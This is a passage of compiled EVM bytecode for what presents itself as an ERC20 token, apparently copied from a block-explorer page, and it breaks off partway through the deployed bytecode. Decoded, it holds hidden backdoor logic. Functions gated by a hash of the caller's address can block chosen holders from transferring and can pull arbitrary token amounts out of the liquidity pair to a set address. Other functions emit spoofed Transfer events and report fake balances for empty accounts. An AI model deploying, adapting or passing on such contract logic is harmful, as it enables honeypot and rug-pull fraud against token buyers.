35b61031960048036038101906103149190612399565b610923565b005b6103236109fb565b604051610330919061274c565b60405180910390f35b610341610a21565b60405161034e919061274c565b60405180910390f35b610371600480360381019061036c91906122ac565b610a47565b60405161037e9190612767565b60405180910390f35b6103a1600480360381019061039c91906122ac565b610a67565b6040516103ae91906128a4565b60405180910390f35b6103bf610b39565b6040516103cc9190612767565b60405180910390f35b6103ef60048036038101906103ea91906122ac565b610b4c565b6040516103fc9190612767565b60405180910390f35b61041f600480360381019061041a91906122ac565b610b6c565b60405161042c9190612767565b60405180910390f35b61043d610b8c565b60405161044a919061274c565b60405180910390f35b61046d600480360381019061046891906122ac565b610bb2565b60405161047a9190612767565b60405180910390f35b61048b610bd2565b6040516104989190612782565b60405180910390f35b6104bb60048036038101906104b69190612419565b610c64565b005b6104c5610d18565b6040516104d29190612767565b60405180910390f35b6104f560048036038101906104f091906123d9565b610d2b565b6040516105029190612767565b60405180910390f35b610525600480360381019061052091906123d9565b610dea565b6040516105329190612767565b60405180910390f35b610555600480360381019061055091906124ba565b610e01565b005b610571600480360381019061056c91906122ac565b610ed0565b60405161057e9190612767565b60405180910390f35b61058f610ef0565b60405161059c919061274c565b60405180910390f35b6105bf60048036038101906105ba9190612306565b610f16565b6040516105cc91906128a4565b60405180910390f35b6105ef60048036038101906105ea91906122ac565b610f9d565b6040516105fc91906128a4565b60405180910390f35b60606003805461061490612a12565b80601f016020809104026020016040519081016040528092919081815260200182805461064090612a12565b801561068d5780601f106106625761010080835404028352916020019161068d565b820191906000526020600020905b81548152906001019060200180831161067057829003601f168201915b5050505050905090565b60006106a4338484610fb5565b6001905092915050565b6000600654905090565b60006106c5848484611180565b610778843361077385604051806060016040528060288152602001612e3b60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aea9092919063ffffffff16565b610fb5565b600190509392505050565b601c54600233604051602001610799919061271a565b6040516020818303038152906040526040516107b59190612735565b602060405180830381855afa1580156107d2573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906107f5919061248d565b146107ff57610841565b80601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600560009054906101000a900460ff1660ff16905090565b601d6020528060005260406000206000915054906101000a900460ff1681565b6000610919338461091485600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4e90919063ffffffff16565b610fb5565b6001905092915050565b601c54600233604051602001610939919061271a565b6040516020818303038152906040526040516109559190612735565b602060405180830381855afa158015610972573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610995919061248d565b1461099f576109f7565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acf906127e4565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415610b2f57600754915050610b34565b809150505b919050565b601760009054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b600f6020528060005260406000206000915054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60116020528060005260406000206000915054906101000a900460ff1681565b606060048054610be190612a12565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0d90612a12565b8015610c5a5780601f10610c2f57610100808354040283529160200191610c5a565b820191906000526020600020905b815481529060010190602001808311610c3d57829003601f168201915b5050505050905090565b60005b84849050811015610d1157848482818110610c8557610c84612b0f565b5b9050602002016020810190610c9a91906122ac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cf691906128a4565b60405180910390a38080610d0990612a44565b915050610c67565b5050505050565b601b60009054906101000a900460ff1681565b6000610de03384610ddb85604051806060016040528060258152602001612e6360259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aea9092919063ffffffff16565b610fb5565b6001905092915050565b6000610df7338484611180565b6001905092915050565b601c54600233604051602001610e17919061271a565b604051602081830303815290604052604051610e339190612735565b602060405180830381855afa158015610e50573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610e73919061248d565b14610e7d57610ecd565b610ecc601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611bac565b5b50565b60266020528060005260406000206000915054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601e6020528060005260406000206000915090505481565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101c90612884565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c906127c4565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117391906128a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e790612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611260576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611257906127a4565b60405180910390fd5b600081116112a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129a90612844565b60405180910390fd5b6000819050600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113495750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561135f57611359848483611e9d565b50611ae5565b60008390506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601854601660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140591906128f1565b119050811561141357600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415611ad557600080600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516115019190612735565b6000604051808303816000865af19150503d806000811461153e576040519150601f19603f3d011682016040523d82523d6000602084013e611543565b606091505b509150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516115db9190612735565b6000604051808303816000865af19150503d8060008114611618576040519150601f19603f3d011682016040523d82523d6000602084013e61161d565b606091505b509150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516116b59190612735565b6000604051808303816000865af19150503d80600081146116f2576040519150601f19603f3d011682016040523d82523d6000602084013e6116f7565b606091505b50915050600080828060200190518101906117129190612514565b9150915060008580602001905181019061172c91906122d9565b905060008580602001905181019061174491906122d9565b905060008273ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602401611792919061274c565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161181c9190612735565b6000604051808303816000865af19150503d8060008114611859576040519150601f19603f3d011682016040523d82523d6000602084013e61185e565b606091505b5091505060008180602001905181019061187891906124e7565b905060008373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016118c6919061274c565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516119509190612735565b6000604051808303816000865af19150503d806000811461198d576040519150601f19603f3d011682016040523d82523d6000602084013e611992565b606091505b509150506000818060200190518101906119ac91906124e7565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611a315782881115611a26578288611a189190612947565b9b506015548c119d50611a2c565b8288149c505b611ab1565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611ab05780871115611aa9578087611a9b9190612947565b9b506015548c119d50611aaf565b8087149c505b5b5b8d158015611abd57508c155b611ac657600080fd5b50505050505050505050505050505b611ae0878786611e9d565b505050505b505050565b6000838311158290611b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b299190612782565b60405180910390fd5b5060008385611b419190612947565b9050809150509392505050565b6000808284611b5d91906128f1565b905083811015611ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9990612804565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1390612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c83906127a4565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0490612824565b60405180910390fd5b611d5e816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df1816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e9091906128a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0490612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f74906127a4565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff590612824565b60405180910390fd5b61204f816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120e2816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161218191906128a4565b60405180910390a3505050565b60006121d083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aea565b905092915050565b6000813590506121e781612dc7565b92915050565b6000815190506121fc81612dde565b92915050565b60008083601f84011261221857612217612b43565b5b8235905067ffffffffffffffff81111561223557612234612b3e565b5b60208301915083602082028301111561225157612250612b48565b5b9250929050565b60008135905061226781612df5565b92915050565b60008151905061227c81612e0c565b92915050565b60008135905061229181612e23565b92915050565b6000815190506122a681612e23565b92915050565b6000602082840312156122c2576122c1612b52565b5b60006122d0848285016121d8565b91505092915050565b6000602082840312156122ef576122ee612b52565b5b60006122fd848285016121ed565b91505092915050565b6000806040838503121561231d5761231c612b52565b5b600061232b858286016121d8565b925050602061233c858286016121d8565b9150509250929050565b60008060006060848603121561235f5761235e612b52565b5b600061236d868287016121d8565b935050602061237e868287016121d8565b925050604061238f86828701612282565b9150509250925092565b600080604083850312156123b0576123af612b52565b5b60006123be858286016121d8565b92505060206123cf85828601612258565b9150509250929050565b600080604083850312156123f0576123ef612b52565b5b60006123fe858286016121d8565b925050602061240f85828601612282565b9150509250929050565b6000806000806060858703121561243357612432612b52565b5b600085013567ffffffffffffffff81111561245157612450612b4d565b5b61245d87828801612202565b94509450506020612470878288016121d8565b925050604061248187828801612282565b91505092959194509250565b6000602082840312156124a3576124a2612b52565b5b60006124b18482850161226d565b91505092915050565b6000602082840312156124d0576124cf612b52565b5b60006124de84828501612282565b91505092915050565b6000602082840312156124fd576124fc612b52565b5b600061250b84828501612297565b91505092915050565b6000806040838503121561252b5761252a612b52565b5b600061253985828601612297565b925050602061254a85828601612297565b9150509250929050565b61255d8161297b565b82525050565b61257461256f8261297b565b612a8d565b82525050565b6125838161299f565b82525050565b6000612594826128bf565b61259e81856128d5565b93506125ae8185602086016129df565b80840191505092915050565b60006125c5826128ca565b6125cf81856128e0565b93506125df8185602086016129df565b6125e881612b57565b840191505092915050565b60006126006023836128e0565b915061260b82612b75565b604082019050919050565b60006126236022836128e0565b915061262e82612bc4565b604082019050919050565b60006126466022836128e0565b915061265182612c13565b604082019050919050565b6000612669601b836128e0565b915061267482612c62565b602082019050919050565b600061268c6026836128e0565b915061269782612c8b565b604082019050919050565b60006126af6029836128e0565b91506126ba82612cda565b604082019050919050565b60006126d26025836128e0565b91506126dd82612d29565b604082019050919050565b60006126f56024836128e0565b915061270082612d78565b604082019050919050565b612714816129d5565b82525050565b60006127268284612563565b60148201915081905092915050565b60006127418284612589565b915081905092915050565b60006020820190506127616000830184612554565b92915050565b600060208201905061277c600083018461257a565b92915050565b6000602082019050818103600083015261279c81846125ba565b905092915050565b600060208201905081810360008301526127bd816125f3565b9050919050565b600060208201905081810360008301526127dd81612616565b9050919050565b600060208201905081810360008301526127fd81612639565b9050919050565b6000602082019050818103600083015261281d8161265c565b9050919050565b6000602082019050818103600083015261283d8161267f565b9050919050565b6000602082019050818103600083015261285d816126a2565b9050919050565b6000602082019050818103600083015261287d816126c5565b9050919050565b6000602082019050818103600083015261289d816126e8565b9050919050565b60006020820190506128b9600083018461270b565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006128fc826129d5565b9150612907836129d5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561293c5761293b612ab1565b5b828201905092915050565b6000612952826129d5565b915061295d836129d5565b9250828210156129705761296f612ab1565b5b828203905092915050565b6000612986826129b5565b9050919050565b6000612998826129b5565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156129fd5780820151818401526020810190506129e2565b83811115612a0c576000848401525b50505050565b60006002820490506001821680612a2a57607f821691505b60208210811415612a3e57612a3d612ae0565b5b50919050565b6000612a4f826129d5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a8257612a81612ab1565b5b600182019050919050565b6000612a9882612a9f565b9050919050565b6000612aaa82612b68565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f62616c616e636520717565727920666f7220746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dd08161297b565b8114612ddb57600080fd5b50565b612de78161298d565b8114612df257600080fd5b50565b612dfe8161299f565b8114612e0957600080fd5b50565b612e15816129ab565b8114612e2057600080fd5b50565b612e2c816129d5565b8114612e3757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204fba8b3ca9436a8c7fdcd874b4bc85bf2a721ac486e3ce3009fc9cd29a563f6664736f6c63430008060033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c806372063c27116100f9578063a457c2d711610097578063be3c54ad11610071578063be3c54ad14610557578063c45a015514610587578063dd62ed3e146105a5578063fe5b9fa5146105d5576101c4565b8063a457c2d7146104db578063a9059cbb1461050b578063bbaf0a181461053b576101c4565b806395ba50e7116100d357806395ba50e71461045357806395d89b4114610483578063983bc41b146104a15780639de96b61146104bd576101c4565b806372063c27146103d55780637e29af5114610405578063927f3d4114610435576101c4565b8063395093511161016657806349bd5a5e1161014057806349bd5a5e14610339578063515ee77c1461035757806370a082311461038757806371c359d4146103b7576101c4565b806339509351146102cf5780633ff97d3c146102ff57806344dec9331461031b576101c4565b806323b872dd116101a257806323b872dd146102355780632adf732014610265578063313ce56714610281578063378f3b0d1461029f576101c4565b806306fdde03146101c9578063095ea7b3146101e757806318160ddd14610217575b600080fd5b6101d1610605565b6040516101de9190612782565b60405180910390f35b61020160048036038101906101fc91906123d9565b610697565b60405161020e9190612767565b60405180910390f35b61021f6106ae565b60405161022c91906128a4565b60405180910390f35b61024f600480360381019061024a9190612346565b6106b8565b60405161025c9190612767565b60405180910390f35b61027f600480360381019061027a91906122ac565b610783565b005b610289610844565b60405161029691906128a4565b60405180910390f35b6102b960048036038101906102b491906122ac565b61085e565b6040516102c69190612767565b60405180910390f35b6102e960048036038101906102e491906123d9565b61087e565b6040516102f69190612767565b60405180910390f35b61031960048036038101906103149190612399565b610923565b005b6103236109fb565b604051610330919061274c565b60405180910390f35b610341610a21565b60405161034e919061274c565b60405180910390f35b610371600480360381019061036c91906122ac565b610a47565b60405161037e9190612767565b60405180910390f35b6103a1600480360381019061039c91906122ac565b610a67565b6040516103ae91906128a4565b60405180910390f35b6103bf610b39565b6040516103cc9190612767565b60405180910390f35b6103ef60048036038101906103ea91906122ac565b610b4c565b6040516103fc9190612767565b60405180910390f35b61041f600480360381019061041a91906122ac565b610b6c565b60405161042c9190612767565b60405180910390f35b61043d610b8c565b60405161044a919061274c565b60405180910390f35b61046d600480360381019061046891906122ac565b610bb2565b60405161047a9190612767565b60405180910390f35b61048b610bd2565b6040516104989190612782565b60405180910390f35b6104bb60048036038101906104b69190612419565b610c64565b005b6104c5610d18565b6040516104d29190612767565b60405180910390f35b6104f560048036038101906104f091906123d9565b610d2b565b6040516105029190612767565b60405180910390f35b610525600480360381019061052091906123d9565b610dea565b6040516105329190612767565b60405180910390f35b610555600480360381019061055091906124ba565b610e01565b005b610571600480360381019061056c91906122ac565b610ed0565b60405161057e9190612767565b60405180910390f35b61058f610ef0565b60405161059c919061274c565b60405180910390f35b6105bf60048036038101906105ba9190612306565b610f16565b6040516105cc91906128a4565b60405180910390f35b6105ef60048036038101906105ea91906122ac565b610f9d565b6040516105fc91906128a4565b60405180910390f35b60606003805461061490612a12565b80601f016020809104026020016040519081016040528092919081815260200182805461064090612a12565b801561068d5780601f106106625761010080835404028352916020019161068d565b820191906000526020600020905b81548152906001019060200180831161067057829003601f168201915b5050505050905090565b60006106a4338484610fb5565b6001905092915050565b6000600654905090565b60006106c5848484611180565b610778843361077385604051806060016040528060288152602001612e3b60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aea9092919063ffffffff16565b610fb5565b600190509392505050565b601c54600233604051602001610799919061271a565b6040516020818303038152906040526040516107b59190612735565b602060405180830381855afa1580156107d2573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906107f5919061248d565b146107ff57610841565b80601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600560009054906101000a900460ff1660ff16905090565b601d6020528060005260406000206000915054906101000a900460ff1681565b6000610919338461091485600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4e90919063ffffffff16565b610fb5565b6001905092915050565b601c54600233604051602001610939919061271a565b6040516020818303038152906040526040516109559190612735565b602060405180830381855afa158015610972573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610995919061248d565b1461099f576109f7565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e6020528060005260406000206000915054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acf906127e4565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415610b2f57600754915050610b34565b809150505b919050565b601760009054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b600f6020528060005260406000206000915054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60116020528060005260406000206000915054906101000a900460ff1681565b606060048054610be190612a12565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0d90612a12565b8015610c5a5780601f10610c2f57610100808354040283529160200191610c5a565b820191906000526020600020905b815481529060010190602001808311610c3d57829003601f168201915b5050505050905090565b60005b84849050811015610d1157848482818110610c8557610c84612b0f565b5b9050602002016020810190610c9a91906122ac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cf691906128a4565b60405180910390a38080610d0990612a44565b915050610c67565b5050505050565b601b60009054906101000a900460ff1681565b6000610de03384610ddb85604051806060016040528060258152602001612e6360259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aea9092919063ffffffff16565b610fb5565b6001905092915050565b6000610df7338484611180565b6001905092915050565b601c54600233604051602001610e17919061271a565b604051602081830303815290604052604051610e339190612735565b602060405180830381855afa158015610e50573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610e73919061248d565b14610e7d57610ecd565b610ecc601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611bac565b5b50565b60266020528060005260406000206000915054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601e6020528060005260406000206000915090505481565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101c90612884565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c906127c4565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117391906128a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e790612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611260576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611257906127a4565b60405180910390fd5b600081116112a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129a90612844565b60405180910390fd5b6000819050600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113495750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561135f57611359848483611e9d565b50611ae5565b60008390506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601854601660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140591906128f1565b119050811561141357600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415611ad557600080600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516115019190612735565b6000604051808303816000865af19150503d806000811461153e576040519150601f19603f3d011682016040523d82523d6000602084013e611543565b606091505b509150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516115db9190612735565b6000604051808303816000865af19150503d8060008114611618576040519150601f19603f3d011682016040523d82523d6000602084013e61161d565b6060